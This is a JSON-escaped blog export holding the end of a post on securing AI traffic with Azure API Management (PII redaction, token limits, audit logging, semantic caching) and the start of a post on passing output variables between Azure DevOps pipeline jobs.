fill='currentColor' style='font-size:1em'\u003ek\u003c/text\u003e\n\u003ctext text-anchor='middle' x='176' y='132' fill='currentColor' style='font-size:1em'\u003e0\u003c/text\u003e\n\u003ctext text-anchor='middle' x='176' y='164' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='184' y='132' fill='currentColor' style='font-size:1em'\u003es\u003c/text\u003e\n\u003ctext text-anchor='middle' x='184' y='164' fill='currentColor' style='font-size:1em'\u003en\u003c/text\u003e\n\u003ctext text-anchor='middle' x='192' y='132' fill='currentColor' style='font-size:1em'\u003e)\u003c/text\u003e\n\u003ctext text-anchor='middle' x='192' y='164' fill='currentColor' style='font-size:1em'\u003ed\u003c/text\u003e\n\u003ctext text-anchor='middle' x='256' y='4' fill='currentColor' style='font-size:1em'\u003e[\u003c/text\u003e\n\u003ctext text-anchor='middle' x='272' y='4' fill='currentColor' style='font-size:1em'\u003eO\u003c/text\u003e\n\u003ctext text-anchor='middle' x='272' y='84' fill='currentColor' style='font-size:1em'\u003e2\u003c/text\u003e\n\u003ctext text-anchor='middle' x='280' y='4' fill='currentColor' style='font-size:1em'\u003ep\u003c/text\u003e\n\u003ctext text-anchor='middle' x='280' y='84' fill='currentColor' style='font-size:1em'\u003e.\u003c/text\u003e\n\u003ctext text-anchor='middle' x='288' y='4' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='296' y='4' fill='currentColor' style='font-size:1em'\u003en\u003c/text\u003e\n\u003ctext text-anchor='middle' x='296' y='84' fill='currentColor' style='font-size:1em'\u003e4\u003c/text\u003e\n\u003ctext text-anchor='middle' x='304' y='4' fill='currentColor' style='font-size:1em'\u003eA\u003c/text\u003e\n\u003ctext text-anchor='middle' x='304' y='84' fill='currentColor' style='font-size:1em'\u003e2\u003c/text\u003e\n\u003ctext text-anchor='middle' x='312' y='4' fill='currentColor' style='font-size:1em'\u003eI\u003c/text\u003e\n\u003ctext text-anchor='middle' x='312' y='84' fill='currentColor' style='font-size:1em'\u003e9\u003c/text\u003e\n\u003ctext text-anchor='middle' x='328' y='4' fill='currentColor' style='font-size:1em'\u003e-\u003c/text\u003e\n\u003ctext text-anchor='middle' x='328' y='84' fill='currentColor' style='font-size:1em'\u003eT\u003c/text\u003e\n\u003ctext text-anchor='middle' x='336' y='84' fill='currentColor' style='font-size:1em'\u003eh\u003c/text\u003e\n\u003ctext text-anchor='middle' x='344' y='4' fill='currentColor' style='font-size:1em'\u003eE\u003c/text\u003e\n\u003ctext text-anchor='middle' x='344' y='84' fill='currentColor' style='font-size:1em'\u003er\u003c/text\u003e\n\u003ctext text-anchor='middle' x='352' y='4' fill='currentColor' style='font-size:1em'\u003ea\u003c/text\u003e\n\u003ctext text-anchor='middle' x='352' y='84' fill='currentColor' style='font-size:1em'\u003eo\u003c/text\u003e\n\u003ctext text-anchor='middle' x='360' y='4' fill='currentColor' style='font-size:1em'\u003es\u003c/text\u003e\n\u003ctext text-anchor='middle' x='360' y='84' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='368' y='4' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='368' y='84' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='376' y='84' fill='currentColor' style='font-size:1em'\u003el\u003c/text\u003e\n\u003ctext text-anchor='middle' x='384' y='4' fill='currentColor' style='font-size:1em'\u003eU\u003c/text\u003e\n\u003ctext text-anchor='middle' x='384' y='84' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='392' y='4' fill='currentColor' style='font-size:1em'\u003eS\u003c/text\u003e\n\u003ctext text-anchor='middle' x='392' y='84' fill='currentColor' style='font-size:1em'\u003ed\u003c/text\u003e\n\u003ctext text-anchor='middle' x='408' y='4' fill='currentColor' style='font-size:1em'\u003e]\u003c/text\u003e\n\u003ctext text-anchor='middle' x='496' y='212' fill='currentColor' style='font-size:1em'\u003e5\u003c/text\u003e\n\u003ctext text-anchor='middle' x='504' y='212' fill='currentColor' style='font-size:1em'\u003e.\u003c/text\u003e\n\u003ctext text-anchor='middle' x='512' y='4' fill='currentColor' style='font-size:1em'\u003e[\u003c/text\u003e\n\u003ctext text-anchor='middle' x='520' y='212' fill='currentColor' style='font-size:1em'\u003e2\u003c/text\u003e\n\u003ctext text-anchor='middle' x='528' y='4' fill='currentColor' style='font-size:1em'\u003eO\u003c/text\u003e\n\u003ctext text-anchor='middle' x='528' y='212' fill='currentColor' style='font-size:1em'\u003e0\u003c/text\u003e\n\u003ctext text-anchor='middle' x='536' y='4' fill='currentColor' style='font-size:1em'\u003ep\u003c/text\u003e\n\u003ctext text-anchor='middle' x='536' y='212' fill='currentColor' style='font-size:1em'\u003e0\u003c/text\u003e\n\u003ctext text-anchor='middle' x='544' y='4' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='552' y='4' fill='currentColor' style='font-size:1em'\u003en\u003c/text\u003e\n\u003ctext text-anchor='middle' x='552' y='212' fill='currentColor' style='font-size:1em'\u003eS\u003c/text\u003e\n\u003ctext text-anchor='middle' x='560' y='4' fill='currentColor' style='font-size:1em'\u003eA\u003c/text\u003e\n\u003ctext text-anchor='middle' x='560' y='212' fill='currentColor' style='font-size:1em'\u003eu\u003c/text\u003e\n\u003ctext text-anchor='middle' x='568' y='4' fill='currentColor' style='font-size:1em'\u003eI\u003c/text\u003e\n\u003ctext text-anchor='middle' x='568' y='212' fill='currentColor' style='font-size:1em'\u003ec\u003c/text\u003e\n\u003ctext text-anchor='middle' x='576' y='212' fill='currentColor' style='font-size:1em'\u003ec\u003c/text\u003e\n\u003ctext text-anchor='middle' x='584' y='4' fill='currentColor' style='font-size:1em'\u003e-\u003c/text\u003e\n\u003ctext text-anchor='middle' x='584' y='212' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='592' y='212' fill='currentColor' style='font-size:1em'\u003es\u003c/text\u003e\n\u003ctext text-anchor='middle' x='600' y='4' fill='currentColor' style='font-size:1em'\u003eS\u003c/text\u003e\n\u003ctext text-anchor='middle' x='600' y='212' fill='currentColor' style='font-size:1em'\u003es\u003c/text\u003e\n\u003ctext text-anchor='middle' x='608' y='4' fill='currentColor' style='font-size:1em'\u003ew\u003c/text\u003e\n\u003ctext text-anchor='middle' x='616' y='4' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='624' y='4' fill='currentColor' style='font-size:1em'\u003ed\u003c/text\u003e\n\u003ctext text-anchor='middle' x='632' y='4' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='640' y='4' fill='currentColor' style='font-size:1em'\u003en\u003c/text\u003e\n\u003ctext text-anchor='middle' x='656' y='4' fill='currentColor' style='font-size:1em'\u003eC\u003c/text\u003e\n\u003ctext text-anchor='middle' x='664' y='4' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='672' y='4' fill='currentColor' style='font-size:1em'\u003en\u003c/text\u003e\n\u003ctext text-anchor='middle' x='680' y='4' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='688' y='4' fill='currentColor' style='font-size:1em'\u003er\u003c/text\u003e\n\u003ctext text-anchor='middle' x='696' y='4' fill='currentColor' style='font-size:1em'\u003ea\u003c/text\u003e\n\u003ctext text-anchor='middle' x='704' y='4' fill='currentColor' style='font-size:1em'\u003el\u003c/text\u003e\n\u003ctext text-anchor='middle' x='720' y='4' fill='currentColor' style='font-size:1em'\u003e]\u003c/text\u003e\n\u003c/g\u003e\n\n\t\t\u003c/svg\u003e\n\t\n\u003c/div\u003e\n\u003ch3 id=\"keyless-authentication\"\u003eKeyless Authentication\u003c/h3\u003e\n\u003cp\u003eNever share OpenAI API keys with application teams. Instead, enable APIM\u0026rsquo;s \u003cstrong\u003eSystem-Assigned Managed Identity\u003c/strong\u003e and grant it the \u003ccode\u003eCognitive Services OpenAI User\u003c/code\u003e role on your backends. APIM acquires the Entra ID token and injects it into the request header automatically.\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\u003ccode class=\"language-xml\" data-lang=\"xml\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#f92672\"\u003e\u0026lt;inbound\u0026gt;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#f92672\"\u003e\u0026lt;authentication-managed-identity\u003c/span\u003e \u003cspan style=\"color:#a6e22e\"\u003eresource=\u003c/span\u003e\u003cspan style=\"color:#e6db74\"\u003e\u0026#34;https://cognitiveservices.azure.com\u0026#34;\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003e/\u0026gt;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#f92672\"\u003e\u0026lt;set-backend-service\u003c/span\u003e \u003cspan style=\"color:#a6e22e\"\u003ebackend-id=\u003c/span\u003e\u003cspan style=\"color:#e6db74\"\u003e\u0026#34;openai-pool\u0026#34;\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003e/\u0026gt;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#f92672\"\u003e\u0026lt;/inbound\u0026gt;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003ch2 id=\"3-inbound-policy-chain-prompt-sanitization\"\u003e3. Inbound Policy Chain: Prompt Sanitization\u003c/h2\u003e\n\u003cp\u003eThe primary value of the gateway is enforcing what reaches the LLM. Redacting a secret at the inbound layer is worth ten outbound filters; if the model never sees the secret, it cannot be leaked in a completion or stored in Microsoft\u0026rsquo;s logs.\u003c/p\u003e\n\u003ch3 id=\"pii-and-secret-redaction\"\u003ePII and Secret Redaction\u003c/h3\u003e\n\u003cp\u003eFor fast, efficient sanitization, use regex patterns in your inbound policy to redact SSNs, emails, and common credential formats (e.g., \u003ccode\u003eAKIA\u003c/code\u003e for AWS keys or \u003ccode\u003eAccountKey=\u003c/code\u003e for Azure Storage).\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\u003ccode class=\"language-xml\" data-lang=\"xml\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#f92672\"\u003e\u0026lt;inbound\u0026gt;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#75715e\"\u003e\u0026lt;!-- Redact potential SSN and Email patterns --\u0026gt;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#f92672\"\u003e\u0026lt;set-body\u0026gt;\u003c/span\u003e@{\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e        string body = context.Request.Body.As\u003cspan style=\"color:#f92672\"\u003e\u0026lt;string\u0026gt;\u003c/span\u003e(preserveContent: true);\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e        body = Regex.Replace(body, @\u0026#34;\\d{3}-\\d{2}-\\d{4}\u0026#34;, \u0026#34;[SSN_REDACTED]\u0026#34;);\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e        body = Regex.Replace(body, @\u0026#34;[a-zA-Z0-9._%+-]+@[a-zA-Z0-9.-]+\\.[a-zA-Z]{2,}\u0026#34;, \u0026#34;[EMAIL_REDACTED]\u0026#34;);\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e        return body;\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    }\u003cspan style=\"color:#f92672\"\u003e\u0026lt;/set-body\u0026gt;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#f92672\"\u003e\u0026lt;/inbound\u0026gt;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003eFor higher accuracy, use the \u003ccode\u003esend-request\u003c/code\u003e policy to call the \u003cstrong\u003eAzure AI Language\u003c/strong\u003e PII detection endpoint before forwarding the prompt to OpenAI. This adds ~200ms of latency—a reasonable trade-off for SOC 2 or HIPAA environments where regex alone isn\u0026rsquo;t sufficient.\u003c/p\u003e\n\u003ch2 id=\"4-token-budget-enforcement\"\u003e4. Token Budget Enforcement\u003c/h2\u003e\n\u003cp\u003eIn 2026, we move from request-based rate limiting to \u003cstrong\u003eToken-Based Rate Limiting\u003c/strong\u003e. The \u003ccode\u003ellm-token-limit\u003c/code\u003e policy tracks actual consumption (prompt + completion) and enforces a Tokens Per Minute (TPM) quota per team or application.\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\u003ccode class=\"language-xml\" data-lang=\"xml\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#f92672\"\u003e\u0026lt;inbound\u0026gt;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#75715e\"\u003e\u0026lt;!-- Enforce a 50,000 TPM quota per subscription --\u0026gt;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#f92672\"\u003e\u0026lt;llm-token-limit\u003c/span\u003e \n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e        \u003cspan style=\"color:#a6e22e\"\u003ecounter-key=\u003c/span\u003e\u003cspan style=\"color:#e6db74\"\u003e\u0026#34;@(context.Subscription.Id)\u0026#34;\u003c/span\u003e \n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e        \u003cspan style=\"color:#a6e22e\"\u003etokens-per-minute=\u003c/span\u003e\u003cspan style=\"color:#e6db74\"\u003e\u0026#34;50000\u0026#34;\u003c/span\u003e \n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e        \u003cspan style=\"color:#a6e22e\"\u003eestimate-prompt-tokens=\u003c/span\u003e\u003cspan style=\"color:#e6db74\"\u003e\u0026#34;true\u0026#34;\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003e/\u0026gt;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#f92672\"\u003e\u0026lt;/inbound\u0026gt;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003eSetting \u003ccode\u003eestimate-prompt-tokens=\u0026quot;true\u0026quot;\u003c/code\u003e allows APIM to reject massive, runaway prompts before they reach the backend, preserving your model\u0026rsquo;s quota for other users.\u003c/p\u003e\n\u003ch2 id=\"5-outbound-policy-chain-logging-and-audit\"\u003e5. Outbound Policy Chain: Logging and Audit\u003c/h2\u003e\n\u003cp\u003eOne of the greatest risks of AI adoption is the absence of an audit trail. APIM lets you log AI traffic to a workspace \u003cstrong\u003eyou own\u003c/strong\u003e, satisfying compliance requirements without relying on Microsoft\u0026rsquo;s default retention.\u003c/p\u003e\n\u003ch3 id=\"logging-metadata-not-content\"\u003eLogging Metadata, Not Content\u003c/h3\u003e\n\u003cp\u003eThe APIM audit log should record metadata: who called which model, which deployment was used, and exactly how many tokens were consumed. Avoid logging the raw prompt text unless required by a specific regulatory framework—the logs themselves become a sensitive data store if you do.\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\u003ccode class=\"language-xml\" data-lang=\"xml\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#f92672\"\u003e\u0026lt;outbound\u0026gt;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#75715e\"\u003e\u0026lt;!-- Log token usage to your own Event Hub --\u0026gt;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#f92672\"\u003e\u0026lt;log-to-eventhub\u003c/span\u003e \u003cspan style=\"color:#a6e22e\"\u003elogger-id=\u003c/span\u003e\u003cspan style=\"color:#e6db74\"\u003e\u0026#34;ai-audit-logger\u0026#34;\u003c/span\u003e\u003cspan style=\"color:#f92672\"\u003e\u0026gt;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e        @{\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e            return new JObject(\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e                new JProperty(\u0026#34;timestamp\u0026#34;, DateTime.UtcNow),\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e                new JProperty(\u0026#34;subscriptionId\u0026#34;, context.Subscription.Id),\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e                new JProperty(\u0026#34;deployment\u0026#34;, context.Request.MatchedParameters[\u0026#34;deployment-id\u0026#34;]),\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e                new JProperty(\u0026#34;totalTokens\u0026#34;, context.Response.Body.As\u003cspan style=\"color:#f92672\"\u003e\u0026lt;JObject\u0026gt;\u003c/span\u003e(true)[\u0026#34;usage\u0026#34;][\u0026#34;total_tokens\u0026#34;])\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e            ).ToString();\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e        }\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#f92672\"\u003e\u0026lt;/log-to-eventhub\u0026gt;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#f92672\"\u003e\u0026lt;/outbound\u0026gt;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003ch2 id=\"6-semantic-caching\"\u003e6. Semantic Caching\u003c/h2\u003e\n\u003cp\u003eFor knowledge bases, FAQ bots, and common DevOps queries, up to 40% of prompts are semantically similar. \u003cstrong\u003eSemantic Caching\u003c/strong\u003e (a 2025/2026 feature) uses vector embeddings to identify similar prompts and serve cached responses from an Azure Managed Redis instance.\u003c/p\u003e\n\u003cp\u003eThis reduces both token costs and latency. Disable it for code generation or creative tasks where response variance matters. Always partition the cache by \u003ccode\u003e\u0026lt;vary-by\u0026gt;@(context.Subscription.Id)\u0026lt;/vary-by\u0026gt;\u003c/code\u003e to ensure User A never retrieves a cached response intended for User B\u0026rsquo;s private data.\u003c/p\u003e\n\u003ch2 id=\"key-takeaways\"\u003eKey Takeaways\u003c/h2\u003e\n\u003col\u003e\n\u003cli\u003e\u003cstrong\u003eCentralize the Control Plane:\u003c/strong\u003e APIM is the only way to manage aggregate AI usage, cost, and security across multiple teams.\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eRedact at the Inbound Layer:\u003c/strong\u003e Prevention beats detection. Sanitize prompts before they reach the model.\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eTPM is the New RPM:\u003c/strong\u003e Use token-based rate limiting (\u003ccode\u003ellm-token-limit\u003c/code\u003e) to prevent quota exhaustion in shared environments.\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eOwn the Audit Trail:\u003c/strong\u003e Log token usage and metadata to your own Log Analytics workspace via Event Hub.\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eNatively Scale:\u003c/strong\u003e Use Backend Pools and Circuit Breakers to handle failover across regional OpenAI deployments without complex XML logic.\u003c/li\u003e\n\u003c/ol\u003e\n\u003cp\u003e\u003cstrong\u003eNext Steps:\u003c/strong\u003e\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003eRead \u003ca href=\"/posts/mastering-zero-data-retention-modified-abuse-monitoring/\"\u003eMastering Zero Data Retention: The Guide to Modified Abuse Monitoring in Azure OpenAI\u003c/a\u003e to see how APIM audit logging complements Zero Data Retention (ZDR).\u003c/li\u003e\n\u003cli\u003eRead \u003ca href=\"/posts/ai-driven-secrets-scanning-protecting-pipeline-hallucinated-credentials/\"\u003eAI-Driven Secrets Scanning: Protecting the Pipeline from Hallucinated Credentials\u003c/a\u003e to implement AI-driven secrets scanning in your CI/CD pipelines to catch credentials before they reach the gateway.\u003c/li\u003e\n\u003cli\u003eReturn to \u003ca href=\"/posts/the-ultimate-guide-to-secure-ai-devops-on-azure/\"\u003eThe Ultimate Guide to Secure AI DevOps on Azure: A Privacy-First Blueprint\u003c/a\u003e to see how the AI Gateway fits into the full six-layer blueprint.\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2 id=\"sources\"\u003eSources\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://learn.microsoft.com/en-us/azure/api-management/genai-gateway-overview\"\u003eMicrosoft Learn: GenAI gateway capabilities in Azure API Management\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://learn.microsoft.com/en-us/azure/api-management/llm-token-limit-policy\"\u003eMicrosoft Learn: \u003ccode\u003ellm-token-limit\u003c/code\u003e policy reference\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://learn.microsoft.com/en-us/azure/api-management/api-management-howto-circuit-breaker\"\u003eMicrosoft Learn: Backend circuit breaker and load balancing\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://learn.microsoft.com/en-us/azure/api-management/llm-semantic-cache-lookup-policy\"\u003eMicrosoft Learn: Semantic caching in APIM\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c!--\n### Image Generation Prompts\n\n**Option 1 — 3D Abstract / Isometric: The Gateway Checkpoint**\nA wide landscape format, 16:9 aspect ratio, clean isometric 3D scene of a glowing blue-white gateway arch standing in the center of a network of floating hexagonal nodes and connecting lines. On the left side of the arch, streams of amber-colored data packets flow toward it; on the right side, they emerge as clean, blue-toned streams. The gateway arch has a subtle scanning effect — a thin horizontal beam of light passing through it, as if inspecting each packet. The background is deep dark navy with a faint grid. No text or labels. Soft ambient lighting, Spline/Blender aesthetic.\n\n**Option 2 — Cyber-Industrial / Data Flow: Prompt Filter**\nWide landscape format, 16:9 aspect ratio. A dark high-contrast digital scene showing a large vertical filter membrane — rendered as a semi-transparent glowing mesh — bisecting the frame left to right. On the left, chaotic streams of red, orange, and yellow data fragments approach the membrane, some containing fragmented shapes suggesting credentials or PII. On the right, only clean blue and white data streams pass through. The background is near-black with subtle circuit trace patterns. Cinematic volumetric glow lighting. No text or UI elements.\n\n**Option 3 — Photorealistic / Cinematic: Network Operations Center**\nWide landscape format, 16:9 aspect ratio. A dramatic cinematic shot of a high-tech, dimly lit network operations center viewed from a low angle. Rows of curved server racks glow with cool blue and teal indicator lights. In the foreground, a large transparent glass panel reflects cascading lines of abstract data. The ceiling has diffuse warm overhead lighting contrasted with the cool blue glow of the equipment. No people visible, no screens with text. Deep-focus lens effect, shallow depth of field on the foreground glass panel. Photorealistic, shot on a wide-angle lens.\n\n**Option 4 — Claymorphism / Soft 3D: Pipeline with Inspection Gate**\nWide landscape format, 16:9 aspect ratio. Soft 3D clay-style illustration of a colorful abstract pipeline. Rounded, matte-textured tubes carry small rounded cube \"packets\" from left to right. In the center of the scene, a clay-like arch gate with a warm amber scanning glow inspects each cube as it passes through. Packets that enter the gate as red or orange exit as clean white or blue on the other side. Pastel background with soft diffuse shadows. Rounded, tactile, approachable aesthetic. No text.\n\n**Option 5 — Minimalist Vector / Flat: The Control Plane**\nWide landscape format, 16:9 aspect ratio. A clean flat-design illustration on a deep slate-blue background. Three distinct zones separated by thin white dividing lines: on the left, a cluster of abstract app icons (simple geometric shapes) in warm amber; in the center, a bold hexagonal shield symbol in white with subtle inner detail suggesting layers; on the right, a simple cloud outline in cool blue. Thin animated-style arrow lines flow from left through the shield to the right. Flat color fields, no gradients except subtle vignette on the background. No text or labels.\n--\u003e\n","description":"Use Azure API Management as an AI gateway to sanitize prompts, detect PII and secrets, enforce token budgets, and audit AI traffic to your own Log Analytics workspace.","image":"images/featured.webp","permalink":"https://larryjameshenry.com/posts/securing-the-prompt-ai-guardrails-azure-api-management/","title":"Securing the Prompt: Implementing AI Guardrails with Azure API Management"},{"content":"\u003cp\u003eYou’ve successfully calculated a version number in Job A. Now you need to use that number to tag an image in Job B. You try to access the variable, but it comes up empty. You try \u003ccode\u003e$(JobA.myVar)\u003c/code\u003e, then \u003ccode\u003e$[ dependencies.JobA.outputs['task.myVar'] ]\u003c/code\u003e. Still nothing. Frustration sets in. Why is it so hard to move a simple string between two parts of the same pipeline?\u003c/p\u003e\n\u003cp\u003eAzure DevOps YAML pipelines are highly decoupled by design. Every job runs on a fresh agent with no shared memory or disk. Moving data between jobs (or across stages) requires \u0026ldquo;Mastering the Dependencies\u0026rdquo;—a specific process of declaring an output variable, creating a dependency link, and then mapping the value using the correct runtime context. Most developers fail because they use macro syntax (\u003ccode\u003e$( )\u003c/code\u003e) instead of runtime expressions (\u003ccode\u003e$[ ]\u003c/code\u003e), or they forget the \u003ccode\u003eisOutput=true\u003c/code\u003e flag. This guide is the definitive manual for cross-job and cross-stage data flow, ensuring your pipelines communicate with 100% reliability.\u003c/p\u003e\n\u003ch2 id=\"1-the-produce-and-consume-model\"\u003e1. The \u0026ldquo;Produce and Consume\u0026rdquo; Model\u003c/h2\u003e\n\u003cp\u003eData handover is a two-step process: you must first \u0026ldquo;Export\u0026rdquo; the data from the producing job and then \u0026ldquo;Ingest\u0026rdquo; it into the consuming job.\u003c/p\u003e\n\u003ch3 id=\"11-step-1-producing-the-output\"\u003e1.1: Step 1: Producing the Output\u003c/h3\u003e\n\u003cp\u003eTo make a variable available outside its current job, you must use the \u003ccode\u003eisOutput=true\u003c/code\u003e flag in a logging command. Without this flag, the variable is local to the current agent and will be destroyed when the job finishes.\n\u003ccode\u003eecho \u0026quot;##vso[task.setvariable variable=myVar;isOutput=true]myValue\u0026quot;\u003c/code\u003e\u003c/p\u003e\n\u003ch4 id=\"the-output-variable-protocol\"\u003eThe Output Variable Protocol\u003c/h4\u003e\n\n\n\n\u003cdiv class=\"goat svg-container \"\u003e\n\t\n\t\t\u003csvg\n\t\t\txmlns=\"http://www.w3.org/2000/svg\"\n\t\t\tfont-family=\"Menlo,Lucida Console,monospace\"\n\t\t\t\n\t\t\t\tviewBox=\"0 0 736 185\"\n\t\t\t\u003e\n\t\t\t\u003cg transform='translate(8,16)'\u003e\n\u003cpath d='M 88,48 L 328,48' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 344,112 L 584,112' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 88,160 L 328,160' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 80,8 L 80,24' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 80,48 L 80,160' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 336,16 L 336,64' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 336,112 L 336,160' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 592,16 L 592,128' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpolygon points='96.000000,160.000000 84.000000,154.399994 84.000000,165.600006' fill='currentColor' transform='rotate(180.000000, 88.000000, 160.000000)'\u003e\u003c/polygon\u003e\n\u003cpolygon points='336.000000,48.000000 324.000000,42.400002 324.000000,53.599998' fill='currentColor' transform='rotate(0.000000, 328.000000, 48.000000)'\u003e\u003c/polygon\u003e\n\u003cpolygon points='592.000000,112.000000 580.000000,106.400002 